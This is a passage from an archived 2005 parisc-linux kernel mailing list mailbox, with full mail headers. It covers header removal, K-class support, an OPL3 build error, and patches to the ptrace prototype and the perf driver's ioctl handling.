> major chunk of code is being optimized away.

Ah also, I missed but I doubt in this case: just change a const determining the number of printk change the behaviour, though.

> 
> Dave

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar Gala <kumar.gala@freescale.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH 07/15] parisc: remove use of asm/segment.h
Date: Wed, 24 Aug 2005 12:31:11 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <C8230D03-D0D9-4096-A995-0C1E124F665D__6592.80028562552$1416624560$gmane$org@freescale.com>
References: <20050824171433.GD4645@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v734)
Content-Type: text/plain;
  charset=US-ASCII;
  delsp=yes;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624560 27281 80.91.229.3 (22 Nov 2014 02:49:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:20 +0000 (UTC)
Cc: "Gala Kumar K.-galak" <galak@freescale.com>,
 <linux-kernel@vger.kernel.org>,
 "Andrew Morton" <akpm@osdl.org>,
 <parisc-linux@parisc-linux.org>
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <linux-kernel-owner@vger.kernel.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Aug 2005 17:31:39 -0000
Original-Received: from vger.kernel.org (EHLO vger.kernel.org) [209.132.176.167]
  by mx0.gmx.net (mx072) with SMTP; 24 Aug 2005 19:31:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751249AbVHXRbH (ORCPT <rfc822;deller@gmx.de> + 42 others);
	Wed, 24 Aug 2005 13:31:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751254AbVHXRbH
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Wed, 24 Aug 2005 13:31:07 -0400
Original-Received: from az33egw02.freescale.net ([192.88.158.103]:2472 "EHLO
	az33egw02.freescale.net") by vger.kernel.org with ESMTP
	id S1751249AbVHXRbG (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 24 Aug 2005 13:31:06 -0400
Original-Received: from az33smr01.freescale.net (az33smr01.freescale.net [10.64.34.199])
	by az33egw02.freescale.net (8.12.11/az33egw02) with ESMTP id j7OHbxbR021329;
	Wed, 24 Aug 2005 10:37:59 -0700 (MST)
Original-Received: from [192.168.123.102] ([10.214.72.1])
	by az33smr01.freescale.net (8.13.1/8.13.0) with ESMTP id j7OHYvmY001450;
	Wed, 24 Aug 2005 12:34:57 -0500 (CDT)
In-Reply-To: <20050824171433.GD4645@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Apple Mail (2.734)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
X-Mailing-List: linux-kernel@vger.kernel.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: q8t+Y6xKeSEkOr6WZHQhaXN1IGRvb0BW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25184


On Aug 24, 2005, at 12:14 PM, Matthew Wilcox wrote:

> On Wed, Aug 24, 2005 at 11:55:30AM -0500, Kumar Gala wrote:
>
>> Removed asm-parisc/segment.h as its not used by anything.
>>
>
> Did you already remove all the uses outside the parisc-specific  
> bits of
> the tree, eg ISDN, media/video/, sound/oss/, etc?
>
> If so, ACK, otherwise, NAK.

I did remove them.  I should have included a reference to the patch  
that did this:

http://www.ussg.iu.edu/hypermail/linux/kernel/0508.3/0099.html

- kumar


From - Thu Nov 08 21:36:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] K-class support improved
Date: Sat, 10 Sep 2005 12:46:03 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20050910184603.GE4770@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624560 27283 80.91.229.3 (22 Nov 2014 02:49:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:20 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Sep 2005 18:46:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 10 Sep 2005 20:46:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC46E7D67D;
	Sat, 10 Sep 2005 12:46:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03129-04; Sat, 10 Sep 2005 12:46:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41E727D685;
	Sat, 10 Sep 2005 12:46:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71A107D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Sep 2005 12:46:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03129-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Sep 2005 12:46:06 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E903A7D677
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Sep 2005 12:46:06 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 4CA9349400A; Sat, 10 Sep 2005 12:46:04 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 1BD57494009; Sat, 10 Sep 2005 12:46:04 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rExRY4MXeSEkcL6WZHQhaXN1IGRvb8BR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25185


Those watching the CVS list will see that I've renovated some code to
improve K-class support.  On Thursday, I tracked down the SMP hang when
initialising the Mux serial driver (it was a missing spin_lock_init()).
Today, I rewrote some of the driver probing so we allocate iomem resources
sufficiently early that the fancy code I wrote to avoid allocating PCI
iomem resources over the top of other devices actually works ;-)

I also updated the defconfig to include support for the Mux console so
when 2.6.13-pa2 appears on http://cvs.parisc-linux.org/download/linux-2.6/
it should work.  I'd appreciate it if people with a K-class could test
this assumption ;-)  The E-class should also work (as well as it ever
has ... still no Wizard SCSI support).

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Please fix the OPL mess
Date: Tue, 13 Sep 2005 11:34:22 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20050913173422.GF32395@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624560 27285 80.91.229.3 (22 Nov 2014 02:49:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:20 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Sep 2005 17:34:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 13 Sep 2005 19:34:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4592C7D6AB;
	Tue, 13 Sep 2005 11:34:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27658-10; Tue, 13 Sep 2005 11:34:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8ABB7D6AC;
	Tue, 13 Sep 2005 11:34:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0DC87D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Sep 2005 11:34:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27549-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Sep 2005 11:34:23 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 764F37D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Sep 2005 11:34:23 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 37A214954C4; Tue, 13 Sep 2005 11:34:23 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 1F76B4954C3; Tue, 13 Sep 2005 11:34:23 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8GhVY4kKeSEkMr6WZHQhaXN1IGRvbwCR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25186


I'm not entirely sure which of our intrepid sound hackers introduced
this problem, but it's a PITA when trying to build a suitable kernel for
ia64 boxes out of the parisc tree, and I suspect for C8000 too.  Could
somebody fix it?

  CC      sound/drivers/opl3/opl3_lib.o
sound/drivers/opl3/opl3_lib.c: In function `snd_opl3_free':
sound/drivers/opl3/opl3_lib.c:336: error: structure has no member named `unmap_on_free'
sound/drivers/opl3/opl3_lib.c: In function `snd_opl3_create_main':
sound/drivers/opl3/opl3_lib.c:421: error: structure has no member named `unmap_on_free'

Easiest way to reproduce the error is probably to enable the FM801
driver, but obviously this library is used by a lot of drivers.

Thanks
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] parisc sys_ptrace prototype
Date: Mon, 19 Sep 2005 22:39:52 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20050919203952.GA19511@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624561 27291 80.91.229.3 (22 Nov 2014 02:49:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: matthew@wil.cx
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Sep 2005 20:40:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 19 Sep 2005 22:40:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DFE37D63E;
	Mon, 19 Sep 2005 14:40:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17843-03; Mon, 19 Sep 2005 14:40:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 229537D63A;
	Mon, 19 Sep 2005 14:40:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFF587D637
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Sep 2005 14:39:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17636-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Sep 2005 14:39:56 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 747087D635
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Sep 2005 14:39:56 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 1CDF949400C; Mon, 19 Sep 2005 14:39:56 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.lst.de (verein.lst.de [213.95.11.210])
	by palinux.hppa (Postfix) with ESMTP id 96B8B494006
	for <parisc-linux@parisc-linux.org>;
	Mon, 19 Sep 2005 14:39:55 -0600 (MDT)
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by mail.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id j8JKdr6t019540
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Mon, 19 Sep 2005 22:39:53 +0200
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id j8JKdq12019538;
	Mon, 19 Sep 2005 22:39:52 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Spam-Score: -4.901 () BAYES_00
X-Scanned-By: MIMEDefang 2.39
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cUddY0JGeSEkXr6WZHQhaXN1IGRvb4DT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25187

parisc has a different prototype for ptrace in that it passes the
pid as pid_t, not as long.  This doesn't matter on 32bit architectures
because both are 32bit, but it's different for 64bit kernel.

OTOH I've heard 64bit parisc userland is mostly non-existant so maybe
we could still fix this, greatly simplifying a later ptrace
consolidation.


Signed-off-by: Christoph Hellwig <hch@lst.de>

Index: linux-2.6/arch/parisc/kernel/ptrace.c
===================================================================
--- linux-2.6.orig/arch/parisc/kernel/ptrace.c	2005-09-18 13:46:52.000000000 +0200
+++ linux-2.6/arch/parisc/kernel/ptrace.c	2005-09-19 22:37:07.000000000 +0200
@@ -78,7 +78,7 @@
 	pa_psw(child)->l = 0;
 }
 
-long sys_ptrace(long request, pid_t pid, long addr, long data)
+long sys_ptrace(long request, long pid, long addr, long data)
 {
 	struct task_struct *child;
 	long ret;
Index: linux-2.6/include/asm-parisc/unistd.h
===================================================================
--- linux-2.6.orig/include/asm-parisc/unistd.h	2005-09-18 13:47:39.000000000 +0200
+++ linux-2.6/include/asm-parisc/unistd.h	2005-09-19 22:37:22.000000000 +0200
@@ -1005,7 +1005,7 @@
 		struct pt_regs *regs);
 int sys_vfork(struct pt_regs *regs);
 int sys_pipe(int *fildes);
-long sys_ptrace(long request, pid_t pid, long addr, long data);
+long sys_ptrace(long request, long pid, long addr, long data);
 struct sigaction;
 asmlinkage long sys_rt_sigaction(int sig,
 				const struct sigaction __user *act,
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] move PA perf driver over to ->compat_iocll
Date: Mon, 19 Sep 2005 22:43:09 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <20050919204309.GA19633@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624561 27293 80.91.229.3 (22 Nov 2014 02:49:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: matthew@wil.cx
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Sep 2005 20:43:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 19 Sep 2005 22:43:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3500E7D658;
	Mon, 19 Sep 2005 14:43:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18120-01; Mon, 19 Sep 2005 14:43:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EAF17D647;
	Mon, 19 Sep 2005 14:43:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D50997D642
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Sep 2005 14:43:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17880-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Sep 2005 14:43:13 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 595A47D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Sep 2005 14:43:13 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 15CDD49400C; Mon, 19 Sep 2005 14:43:13 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.lst.de (verein.lst.de [213.95.11.210])
	by palinux.hppa (Postfix) with ESMTP id 87D9B494006
	for <parisc-linux@parisc-linux.org>;
	Mon, 19 Sep 2005 14:43:12 -0600 (MDT)
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by mail.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id j8JKh96t019654
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Mon, 19 Sep 2005 22:43:09 +0200
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id j8JKh9WX019652;
	Mon, 19 Sep 2005 22:43:09 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Spam-Score: -4.901 () BAYES_00
X-Scanned-By: MIMEDefang 2.39
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uEddYzEgeSEkS76WZHQhaXN1IGRvbwC4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25188

the lock_kernel could probably go away aswell, but I'll rather leave
that to the parisc experts..


Signed-off-by: Christoph Hellwig <hch@lst.de>

Index: linux-2.6/arch/parisc/kernel/perf.c
===================================================================
--- linux-2.6.orig/arch/parisc/kernel/perf.c	2005-09-19 17:41:31.000000000 +0200
+++ linux-2.6/arch/parisc/kernel/perf.c	2005-09-19 17:41:42.000000000 +0200
@@ -438,48 +438,56 @@
  * must be running on the processor that you wish to change.
  */
 
-static int perf_ioctl(struct inode *inode, struct file *file, unsigned int cmd,
+static long perf_ioctl(struct file *file, unsigned int cmd,
 	unsigned long arg)
 {
 	long error_start;
-	uint32_t raddr[4];	
+	uint32_t raddr[4];
+	int error = 0;
 
+	lock_kernel();
 	switch (cmd) {
 
 	    case PA_PERF_ON:
 			/* Start the counters */
 			perf_start_counters();
-			return 0;
+			break;
 
 	    case PA_PERF_OFF:
 			error_start = perf_stop_counters(raddr);
 			if (error_start != 0) {
 				printk(KERN_ERR "perf_off: perf_stop_counters = %ld\n", error_start);
-				return -EFAULT;	
+				error = -EFAULT;
+				break;
 			}
 
 			/* copy out the Counters */
 			if (copy_to_user((void __user *)arg, raddr, 
 					sizeof (raddr)) != 0) {
-				return -EFAULT;
+				error =  -EFAULT;
+				break;
 			}
-			return 0;
+			break;
 
 	    case PA_PERF_VERSION:
   	  		/* Return the version # */
-			return put_user(PERF_VERSION, (int *)arg);
+			error = put_user(PERF_VERSION, (int *)arg);
+			break;
 
 	    default:
-  	 		break;
+  	 		error = -ENOTTY;
 	}
-	return -ENOTTY;
+
+	unlock_kernel()
+	return error;
 }
 
 static struct file_operations perf_fops = {
 	.llseek = no_llseek,
 	.read = perf_read,
 	.write = perf_write,
-	.ioctl = perf_ioctl,
+	.unlocked_ioctl = perf_ioctl,
+	.compat_ioctl = perf_ioctl,
 	.open = perf_open,
 	.release = perf_release
 };
Index: linux-2.6/arch/parisc/kernel/ioctl32.c
===================================================================
--- linux-2.6.orig/arch/parisc/kernel/ioctl32.c	2005-09-19 17:41:31.000000000 +0200
+++ linux-2.6/arch/parisc/kernel/ioctl32.c	2005-09-19 17:41:49.000000000 +0200
@@ -37,11 +37,6 @@
 #define DECLARES
 #include "compat_ioctl.c"
 
-/* PA-specific ioctls */
-COMPATIBLE_IOCTL(PA_PERF_ON)
-COMPATIBLE_IOCTL(PA_PERF_OFF)
-COMPATIBLE_IOCTL(PA_PERF_VERSION)

From - Thu Nov 08 21:36:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Fabian Tracy" <ycmxdvrv@artbymike.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bull's Eye Investing
Date: Mon, 04 Jul 2005 06:59:50 -0-200
Lines: 238
Approved: news@gmane.org
Message-ID: <u7DQ1xQ19Fs5b8exq3ZM@artbymike.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1416624561 27294 80.91.229.3 (22 Nov 2014 02:49:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
